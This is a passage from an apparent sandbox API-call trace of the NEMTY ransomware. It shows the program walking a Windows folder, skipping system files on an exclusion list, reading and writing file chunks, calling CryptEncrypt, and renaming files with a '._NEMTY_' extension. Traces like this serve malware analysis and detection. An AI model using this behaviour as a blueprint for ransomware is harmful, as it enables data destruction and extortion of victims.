lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.363] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.363] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.363] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.364] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.380] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.380] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.390] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.390] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.399] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.399] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.408] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.409] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.415] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.415] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.421] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.421] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.421] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.421] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63403b0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0110.421] CloseHandle (hObject=0xffffffff) returned 0 [0110.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340520 [0110.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0110.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0110.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0110.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0110.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0110.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0110.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0110.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0110.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0110.421] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext-disable.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext-disable.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext-disable.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext-disable.png._nemty_kgobjgd_")) returned 0 [0110.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0110.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340520 | out: hHeap=0x4f90000) returned 1 [0110.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0110.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0110.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0110.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0110.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0110.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0110.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0110.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.422] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82353ae7, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82353ae7, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28181a23, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="bNext-down.png", cAlternateFileName="")) returned 1 [0110.422] lstrcmpiW (lpString1="bNext-down.png", lpString2=".") returned 1 [0110.422] lstrcmpiW (lpString1="bNext-down.png", lpString2="..") returned 1 [0110.422] lstrcmpiW (lpString1="bNext-down.png", lpString2="...") returned 1 [0110.422] lstrcmpiW (lpString1="bNext-down.png", lpString2="windows") returned -1 [0110.422] lstrcmpiW (lpString1="bNext-down.png", lpString2="$RECYCLE.BIN") returned 1 [0110.422] lstrcmpiW (lpString1="bNext-down.png", lpString2="rsa") returned -1 [0110.422] lstrcmpiW (lpString1="bNext-down.png", lpString2="NTDETECT.COM") returned -1 [0110.422] lstrcmpiW (lpString1="bNext-down.png", lpString2="ntldr") returned -1 [0110.422] lstrcmpiW (lpString1="bNext-down.png", lpString2="MSDOS.SYS") returned -1 [0110.422] lstrcmpiW (lpString1="bNext-down.png", lpString2="IO.SYS") returned -1 [0110.422] lstrcmpiW (lpString1="bNext-down.png", lpString2="boot.ini") returned -1 [0110.422] lstrcmpiW (lpString1="bNext-down.png", lpString2="boot.ini") returned -1 [0110.422] lstrcmpiW (lpString1="bNext-down.png", lpString2="AUTOEXEC.BAT") returned 1 [0110.422] lstrcmpiW (lpString1="bNext-down.png", lpString2="ntuser.dat") returned -1 [0110.422] lstrcmpiW (lpString1="bNext-down.png", lpString2="desktop.ini") returned -1 [0110.422] lstrcmpiW (lpString1="bNext-down.png", lpString2="CONFIG.SYS") returned -1 [0110.422] lstrcmpiW (lpString1="bNext-down.png", lpString2="RECYCLER") returned -1 [0110.422] lstrcmpiW (lpString1="bNext-down.png", lpString2="BOOTSECT.BAK") returned -1 [0110.422] lstrcmpiW (lpString1="bNext-down.png", lpString2="bootmgr") returned -1 [0110.422] lstrcmpiW (lpString1="bNext-down.png", lpString2="programdata") returned -1 [0110.422] lstrcmpiW (lpString1="bNext-down.png", lpString2="appdata") returned 1 [0110.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext-down.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0110.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext-down.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bNext-down.png", lpUsedDefaultChar=0x0) returned 14 [0110.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0110.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext-down.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0110.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext-down.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bNext-down.png", lpUsedDefaultChar=0x0) returned 14 [0110.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0110.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext-down.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0110.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext-down.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bNext-down.png", lpUsedDefaultChar=0x0) returned 14 [0110.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext-down.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0110.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext-down.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bNext-down.png", lpUsedDefaultChar=0x0) returned 14 [0110.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0110.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0110.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340240 [0110.423] Sleep (dwMilliseconds=0x5) [0110.430] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf577ea50, dwHighDateTime=0x1d561e7)) [0110.430] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf577ea50, dwHighDateTime=0x1d561e7)) [0110.430] GetLastError () returned 0x5 [0110.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0110.430] GetLastError () returned 0x5 [0110.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0110.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0110.430] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0110.430] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0110.431] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0110.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402e8 [0110.431] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402e8, pcchString=0x653e91c | out: pszString="f9ELf23PAfPw2/4OhwU3HT35jq2G1RIyg9TbKK1RmKc3ZZ4Lym+X1Sjwspf+Fj0k\r\nnUWS9Qixp1m4Rcsmu8Q59TqO2oph5/2fXDbkX6GhYrDZMSTFbyVlIG/MuRu4c9JS\r\nn/wY5fyEmDLtmyxcLwt4NPZPj5IzoeUGSRyvOPQVmE7xGKpfdI1yzqWQPCHpRSHb\r\nyVjGAcakFW98yz9KpNjTjWsqyHHGeBV8hqI7l7ZAPhiuASeBb278mGsAs9yXhZyf\r\nGJYJe59G8LqC9S302cQkN79s/8tAiCoYsxZF/fHcAoL+Vj3CY9USS7/oOpGTx9S6\r\nubTVduuUcCBRT2YIsmHyxA==\r\n", pcchString=0x653e91c) returned 1 [0110.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0110.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0110.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0110.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0110.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402e8 [0110.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0110.431] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext-down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext-down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0110.431] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0110.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0110.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.431] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.440] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.441] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.450] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.450] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.459] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.459] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.459] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.459] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.469] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.469] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.478] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.478] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.487] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.488] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.497] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.497] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.507] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.507] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.516] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.516] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, 